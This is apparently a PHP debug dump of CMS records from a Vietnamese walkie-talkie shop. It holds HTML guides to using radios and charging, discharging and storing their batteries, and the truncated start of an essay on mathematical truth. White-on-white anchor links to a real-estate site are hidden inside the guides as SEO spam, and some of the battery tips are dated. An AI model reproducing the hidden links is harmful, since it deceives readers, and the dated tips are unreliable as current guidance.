10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tùy chọn đúng kênh liên lạc theo nhóm đã quy định.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">3. Thao tác liên lạc qua máy bộ đàm</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các máy bộ đàm cầm tay đều có nút PTT (Push to talk), đó là 1 nút lớn nằm phía bên trái của máy (Vị trí 1 – Trên hình vẽ). Khi muốn nói chuyện với các máy bộ đàm khác, người sử dụng cần phải bóp giữ nút PTT này trước và trong suốt quá trình thực hiện cuộc gọi, sau khi nói xong hãy thả nút này ra để nghe những thông tin phản hồi từ những máy khác.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi liên lạc qua máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Không được liên lạc khi máy không có anten.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Hạn chế việc liên lạc khi máy đang sạc pin hoặc pin yếu.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các yếu tố trên đều có thể dẫn đến tình trạng hỏng máy hoặc giảm chất lượng sử dụng của máy.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">4. Sạc pin máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Cần phải sạc thật đầy pin đối với các máy bộ đàm mới hoặc có pin mới mua.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Sử dụng hết pin rồi mới bắt đầu quá trình sạc lại pin.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Khi sạc pin nên tắt máy hoặc tháo rời pin ra khỏi máy để sạc. <a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Gold light</span></a></span></li> </ul> ', 'images' => '20170508082500cf9cf2aab38a5b43cf9daff032f0eaab.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '70748', 'slug' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '847', 'rght' => '848', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '485', 'name' => 'HƯỚNG DẪN SẠC PIN MÁY BỘ ĐÀM ĐÚNG KỸ THUẬT', 'code' => null, 'alias' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Độ bền và tuổi thọ của pin không chỉ phụ thuộc chủ yếu vào loại chất liệu sản xuất pin mà còn phụ thuộc vào các yếu tố khác trong quá trình sử dụng như: sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để đảm bảo sử dụng pin sạc hiệu quả, người sử dụng cần phải nắm rõ các yêu cầu kỹ thuật về quy trình sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> </p> ', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(85, 85, 85); text-align: justify;"><span style="background-color:#ffffff;">Ngày nay, pin sạc dùng cho các thiết bị điện tử viễn thông nói chung và máy bộ đàm nói riêng thường chủ yếu bao gồm các loại Nikel Cadmium (Ni-Cd), Nikel Metal Hyderide (Ni-MH) và Lithium Ion (Li-Ion). </span></span></span></span><br /> <br /> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Trong đó:</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> </p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-Cd (Nikel Cadmium) là loại pin có dung lượng trung bình, được sản xuất từ hỗn hợp Niken và Cadmium, trong đó Cadmium là một chất độc hại, gây ảnh hưởng xấu đến môi trường sau khi ngưng sử dụng.</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-MH (Nikel Metal Hydride) là một kiểu pin sạc tương tự như pin Ni-Cd nhưng sử dụng hỗn hợp hấp thu Hiđrua thay cho Cadmium. Pin Ni-MH thường có dung lượng điện lớn gấp 2 - 3 lần so với pin NiCd cùng kích thước.</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Li-Ion (Lithium Ion) là loại pin dung lượng cao, cho phép sạc nhồi khi đang sử dụng. Loại pin này hiện tại đang được ưa chuộng sử dụng bởi các tính năng vượt trội của nó như: trọng lượng pin nhẹ, dung lượng lưu trữ cao, không có hiệu ứng nhớ, mức tự xả thấp, có thể sạc nhồi khi đang sử dụng.</span></span></span><br /> </p> <p style="user-select: text; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bảng so sánh các loại pin máy bộ đàm:</span></span></span></span></p> <p style="background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><img alt="" src="http://giamaybodam.vn/data/upload/images/Pinmaybodam.jpg" style="user-select: text !important; border: 0px; background: 0px 0px; font-weight: inherit; margin: 0px !important; padding: 0px; outline: 0px; vertical-align: top;" /></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách sạc pin máy bộ đàm: </span></span></span></span><br /> <br /> <span style="background-color: rgb(255, 255, 255); font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để sạc pin máy bộ đàm, chúng ta thường sử dụng bộ sạc đi kèm theo pin của nhà sản xuất. </span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Có 2 loại sạc: bộ sạc nhanh và bộ sạc tiêu chuẩn</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc nhanh</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc pin với dòng sạc (Ampe) cao, thời gian sạc pin ngắn từ 2 – 4 giờ. Các bộ sạc nhanh thường được thiết kế với bo mạch điều khiển sạc (sạc thông minh) nhằm để tránh trường hợp sạc quá mức, có thể gây hư hỏng pin hoặc gây ra những yếu tố không an toàn, nguy hiểm.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc nhanh ta cần phải chú ý đến tình trạng pin khi sạc, nếu pin nóng quá mức thì nên lấy pin ra và ngưng sạc đợi đến khi pin nguội bình thường rồi tiến hành sạc lại cho đến khi pin thực sự đầy. Đối với pin mới (mới mua hoặc để lâu giờ mới sử dụng lại) ta nên sạc 2 lần cho thật đầy rồi mới sử dụng.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc tiêu chuẩn</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc thường, thời gian sạc dài từ 8 – 16 giờ (hoặc hơn) tùy theo từng loại pin và loại sạc.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc tiêu chuẩn nếu là pin mới mua hoặc pin để lâu giờ mới đem ra sử dụng ta hãy sạc từ 12 – 16 giờ trước khi sử dụng, những lần sau đó ta chỉ nên sạc trung bình 8 - 10 giờ.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Những lưu ý khi sạc pin</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin bằng bộ sạc rời (tức là không phải cắm sạc qua máy như laptop) ta nên tháo pin ra khỏi máy để sạc hoặc là tắt máy đi nếu như sạc pin kèm với máy. Điều này không những giúp nâng cao hiệu suất sạc pin mà còn tránh được trường hợp pin bị “chai kỹ thuật” hoặc những tác động không mong muốn đến máy.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Nên sạc pin khi pin đã được sử dụng hết (không thể vận hành thiết bị - mở máy) nên để pin nguội trước khi sạc, sau khi sạc nên để pin thật nguội trước khi lắp vào thiết bị sử dụng. Điều này rất quan trọng đối với pin Ni-Cd vì nhiệt độ càng cao thì khả năng lưu trữ và bảo quan pin càng thấp. </span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách xả pin máy bộ đàm</span></span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Xả pin là một quy trình cần thiết cho việc nâng cao hiệu quả sử dụng pin sạc. Có rất nhiều cách xả pin như: xả pin kỹ thuật, xả pin bằng bộ sạc xả chuyên dùng, xả pin bằng thiết bị sử dụng… </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Đối với máy bộ đàm thường thì người ta dùng máy để xả pin nếu như chưa trang bị bộ sạc xả chuyên dụng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin máy bộ đàm được làm từ nhiều viên pin nối kết với nhau vì vậy khi xả pin cần phải chú ý để tránh trường hợp “đảo cực”. Các viên pin không bao giờ hoàn toàn giống nhau, vì thế không tránh được tình trạng một viên sẽ bị xả hết hoàn toàn trước những viên khác. Khi điều này xảy ra, viên pin "tốt" sẽ bắt đầu "biến" viên đã xả hết đảo chiều, điều này có thể khiến viên pin đó hỏng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách bảo quản pin máy bộ đàm</span></span><br style="user-select: text !important;" /> <br style="user-select: text !important;" /> <span style="background-color:#ffffff;">Nếu trong quá trình ta không sử dụng máy, ta nên bảo quản bằng cách sạc pin đầy và tháo pin rời thân máy trước khi bảo quản cất giữ, sau đó cứ mỗi tháng ta nên sạc lại đầy pin 01 lần. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin không sử dụng trong một khoảng thời gian cần phải được sạc đầy trước khi sử dụng. Cũng vì lý do này mà các pin mới cần phải trải qua vài lần sạc - xả mới có thể đạt được mức dung lượng điện công bố. </span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;"><span style="background-color: rgb(255, 255, 255); font-family: Arial, Verdana, sans-serif;">Chung cư Goldlight Khuất Duy Tiến</span></span></a></p> ', 'images' => '2017050808014443070999c12ebb927c696a6f2bf4ffa7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '69053', 'slug' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '845', 'rght' => '846', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các 